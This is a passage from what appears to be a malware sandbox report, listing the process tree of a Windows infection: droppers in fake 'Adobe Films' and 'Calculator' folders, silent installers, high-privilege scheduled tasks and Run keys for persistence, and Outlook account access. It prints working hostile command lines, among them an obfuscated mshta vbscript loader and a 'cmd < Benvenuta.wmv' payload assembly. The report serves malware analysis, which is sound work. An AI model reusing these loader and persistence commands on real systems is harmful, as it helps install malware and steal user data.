C:\Users\Admin\AppData\Local\Temp\58-45ca2-251-05891-51c9d1c743fb7\ZHefyshowyvi.exe"C:\Users\Admin\AppData\Local\Temp\58-45ca2-251-05891-51c9d1c743fb7\ZHefyshowyvi.exe"12⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- outlook_win_path
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f2hfbktv.tqm\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\f2hfbktv.tqm\setting.exeC:\Users\Admin\AppData\Local\Temp\f2hfbktv.tqm\setting.exe SID=778 CID=778 SILENT=1 /quiet14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kd41z0u5.ym3\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\kd41z0u5.ym3\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\kd41z0u5.ym3\GcleanerEU.exe /eufive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fq24hdlt.qnp\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\fq24hdlt.qnp\installer.exeC:\Users\Admin\AppData\Local\Temp\fq24hdlt.qnp\installer.exe /qn CAMPAIGN="654"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0lc2nytm.qkc\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\0lc2nytm.qkc\any.exeC:\Users\Admin\AppData\Local\Temp\0lc2nytm.qkc\any.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\0lc2nytm.qkc\any.exe"C:\Users\Admin\AppData\Local\Temp\0lc2nytm.qkc\any.exe" -u15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fodk2jfv.0sk\customer51.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\fodk2jfv.0sk\customer51.exeC:\Users\Admin\AppData\Local\Temp\fodk2jfv.0sk\customer51.exe14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5p0jhzuz.lax\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\5p0jhzuz.lax\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\5p0jhzuz.lax\gcleaner.exe /mixfive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iqy3v4ou.gat\FastPC.exe /verysilent & exit13⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\Temp\iqy3v4ou.gat\FastPC.exeC:\Users\Admin\AppData\Local\Temp\iqy3v4ou.gat\FastPC.exe /verysilent14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4UNMB.tmp\FastPC.tmp"C:\Users\Admin\AppData\Local\Temp\is-4UNMB.tmp\FastPC.tmp" /SL5="$10876,138429,56832,C:\Users\Admin\AppData\Local\Temp\iqy3v4ou.gat\FastPC.exe" /verysilent15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ubute2ex.uue\autosubplayer.exe /S & exit13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vfbvy5yo.h0d\installer.exe /qn CAMPAIGN=654 & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\vfbvy5yo.h0d\installer.exeC:\Users\Admin\AppData\Local\Temp\vfbvy5yo.h0d\installer.exe /qn CAMPAIGN=65414⤵
-
C:\Users\Admin\Pictures\Adobe Films\8rknjJZgHCZpB3_9rRRXaCTP.exe"C:\Users\Admin\Pictures\Adobe Films\8rknjJZgHCZpB3_9rRRXaCTP.exe"9⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"11⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ff836d0dec0,0x7ff836d0ded0,0x7ff836d0dee012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ff692129e70,0x7ff692129e80,0x7ff692129e9013⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,10779345995291334930,18053435723609525723,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9292_1802036074" --mojo-platform-channel-handle=1760 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1656,10779345995291334930,18053435723609525723,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9292_1802036074" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1680 /prefetch:212⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\drBU9VmRknQ_vIbycQ1TRJja.exe"C:\Users\Admin\Pictures\Adobe Films\drBU9VmRknQ_vIbycQ1TRJja.exe"7⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"8⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Users\Admin\Pictures\Adobe Films\uqU30ZEqXanLoKHETUfsMFnI.exe"C:\Users\Admin\Pictures\Adobe Films\uqU30ZEqXanLoKHETUfsMFnI.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\InmQJqusjLmmJqd6VDE42ZA1.exe"C:\Users\Admin\Pictures\Adobe Films\InmQJqusjLmmJqd6VDE42ZA1.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\9t_XgksU4Dzwi6egFQDvx1fp.exe"C:\Users\Admin\Pictures\Adobe Films\9t_XgksU4Dzwi6egFQDvx1fp.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\n5v5rXBtVfUwFazL5gcyH5nd.exe"C:\Users\Admin\Pictures\Adobe Films\n5v5rXBtVfUwFazL5gcyH5nd.exe"7⤵
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\svchost.exesvchost.exe8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Benvenuta.wmv8⤵
-
C:\Windows\SysWOW64\cmd.execmd9⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^cumYgySQBgxPdjFKcKawUwBIsAmBYzAvcYxZIAEmtYNfVBRWjWqBCNmzERHNFdSiOXxsRGwVuTWVhjNPJDfwzYUHnqxRTQTNuGAXimtGVt$" Allora.wmv10⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comAltrove.exe.com e10⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e12⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e13⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e14⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e15⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e16⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e17⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e18⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e19⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e20⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e21⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e22⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e23⤵
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e24⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e25⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e26⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e27⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e28⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e29⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e30⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e31⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e32⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e33⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e34⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e35⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e36⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e37⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.110⤵
- Runs ping.exe
-
C:\Users\Admin\Pictures\Adobe Films\6sP7IYHZbxtGncwXAj98hGw5.exe"C:\Users\Admin\Pictures\Adobe Films\6sP7IYHZbxtGncwXAj98hGw5.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\CMjkI8RBSAd9eKlLZu4TDzBu.exe"C:\Users\Admin\Pictures\Adobe Films\CMjkI8RBSAd9eKlLZu4TDzBu.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\1Uyk4qFSwyW1EXfQbuSo_xnL.exe"C:\Users\Admin\Pictures\Adobe Films\1Uyk4qFSwyW1EXfQbuSo_xnL.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\TYqkP0BGsITbAqtS0zzQKGqK.exe"C:\Users\Admin\Pictures\Adobe Films\TYqkP0BGsITbAqtS0zzQKGqK.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\xAO6dclF7ne8_15aa_zi5YVc.exe"C:\Users\Admin\Pictures\Adobe Films\xAO6dclF7ne8_15aa_zi5YVc.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\FCo5i_wxm1RQVTWzj9BT6Y_a.exe"C:\Users\Admin\Pictures\Adobe Films\FCo5i_wxm1RQVTWzj9BT6Y_a.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09b3a5ca1a712d390.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09b3a5ca1a712d390.exeWed09b3a5ca1a712d390.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7021540.exe"C:\Users\Admin\AppData\Roaming\7021540.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1826133.exe"C:\Users\Admin\AppData\Roaming\1826133.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7119950.exe"C:\Users\Admin\AppData\Roaming\7119950.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\2482716.exe"C:\Users\Admin\AppData\Roaming\2482716.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0971f17486f8.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0971f17486f8.exeWed0971f17486f8.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0971f17486f8.exeC:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0971f17486f8.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09db0d52c38.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09db0d52c38.exeWed09db0d52c38.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0901eb1dae126e32.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0901eb1dae126e32.exeWed0901eb1dae126e32.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0901eb1dae126e32.exeC:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed0901eb1dae126e32.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09cfb2f9758281d8.exe /mixone5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09cfb2f9758281d8.exeWed09cfb2f9758281d8.exe /mixone6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 6847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 6367⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 8927⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 9847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 11127⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09977fdc12334.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09977fdc12334.exeWed09977fdc12334.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\J4R2QmhmUs6vR3esK9GHJ2dY.exe"C:\Users\Admin\Pictures\Adobe Films\J4R2QmhmUs6vR3esK9GHJ2dY.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\tJzs0HBDNzmOaCib0YjRPyB5.exe"C:\Users\Admin\Pictures\Adobe Films\tJzs0HBDNzmOaCib0YjRPyB5.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\zErjzXlUnzToTE2TAAXJkw4a.exe"C:\Users\Admin\Pictures\Adobe Films\zErjzXlUnzToTE2TAAXJkw4a.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\5_rJP8i3nY2NDlmQc8LhQLbo.exe"C:\Users\Admin\Pictures\Adobe Films\5_rJP8i3nY2NDlmQc8LhQLbo.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\hsTSP4VnJysVBjcJ8SJwKxU_.exe"C:\Users\Admin\Pictures\Adobe Films\hsTSP4VnJysVBjcJ8SJwKxU_.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\aUWn94KiBw4hRviTZDKtkVqK.exe"C:\Users\Admin\Pictures\Adobe Films\aUWn94KiBw4hRviTZDKtkVqK.exe"7⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\mt8PKpgSrvPI6tl97_jOGNd2.exe"C:\Users\Admin\Documents\mt8PKpgSrvPI6tl97_jOGNd2.exe"8⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Adobe Films\so8dBWK1ajq908l7nssXpRXX.exe"C:\Users\Admin\Pictures\Adobe Films\so8dBWK1ajq908l7nssXpRXX.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\MKRo5YMGM__f5hDcHqF4ReeL.exe"C:\Users\Admin\Pictures\Adobe Films\MKRo5YMGM__f5hDcHqF4ReeL.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\gCo4OyFs2N4t6fiDi2C91ykm.exe"C:\Users\Admin\Pictures\Adobe Films\gCo4OyFs2N4t6fiDi2C91ykm.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\3qI86GzaswHJ3MRZwaMIFak0.exe"C:\Users\Admin\Pictures\Adobe Films\3qI86GzaswHJ3MRZwaMIFak0.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe"C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\SytbxxzvinPmg4AN4bjqkAn7.exe" ) do taskkill -f -iM "%~NxM"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "SytbxxzvinPmg4AN4bjqkAn7.exe"12⤵
- Kills process with taskkill
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\WGaueqaA5WgjQ2wtldL6B2zN.exe"C:\Users\Admin\Pictures\Adobe Films\WGaueqaA5WgjQ2wtldL6B2zN.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\CzvriR3OKzht_uSr2xzsy5fM.exe"C:\Users\Admin\Pictures\Adobe Films\CzvriR3OKzht_uSr2xzsy5fM.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-27IN2.tmp\CzvriR3OKzht_uSr2xzsy5fM.tmp"C:\Users\Admin\AppData\Local\Temp\is-27IN2.tmp\CzvriR3OKzht_uSr2xzsy5fM.tmp" /SL5="$1069C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\CzvriR3OKzht_uSr2xzsy5fM.exe"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-84EOU.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-84EOU.tmp\DYbALA.exe" /S /UID=270911⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Photo Viewer\KODNEBRVTC\foldershare.exe"C:\Program Files\Windows Photo Viewer\KODNEBRVTC\foldershare.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Local\Temp\9d-722dc-515-52faf-c0470fe2d5fb9\Sawunagutu.exe"C:\Users\Admin\AppData\Local\Temp\9d-722dc-515-52faf-c0470fe2d5fb9\Sawunagutu.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\73-39c7f-5b8-b2d8a-3a1ad2867c860\Nahybacosha.exe"C:\Users\Admin\AppData\Local\Temp\73-39c7f-5b8-b2d8a-3a1ad2867c860\Nahybacosha.exe"12⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\giygywjg.xw3\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\giygywjg.xw3\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\giygywjg.xw3\GcleanerEU.exe /eufive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mnkler2i.vgg\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\mnkler2i.vgg\installer.exeC:\Users\Admin\AppData\Local\Temp\mnkler2i.vgg\installer.exe /qn CAMPAIGN="654"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vukituws.mk4\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\vukituws.mk4\any.exeC:\Users\Admin\AppData\Local\Temp\vukituws.mk4\any.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\vukituws.mk4\any.exe"C:\Users\Admin\AppData\Local\Temp\vukituws.mk4\any.exe" -u15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tlyp2n4e.bsk\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\tlyp2n4e.bsk\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\tlyp2n4e.bsk\gcleaner.exe /mixfive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\befs4iai.0yw\autosubplayer.exe /S & exit13⤵
-
C:\Users\Admin\Pictures\Adobe Films\lJJm_7OocM3LKQ0WJcT08yXV.exe"C:\Users\Admin\Pictures\Adobe Films\lJJm_7OocM3LKQ0WJcT08yXV.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"11⤵
- Checks computer location settings
-
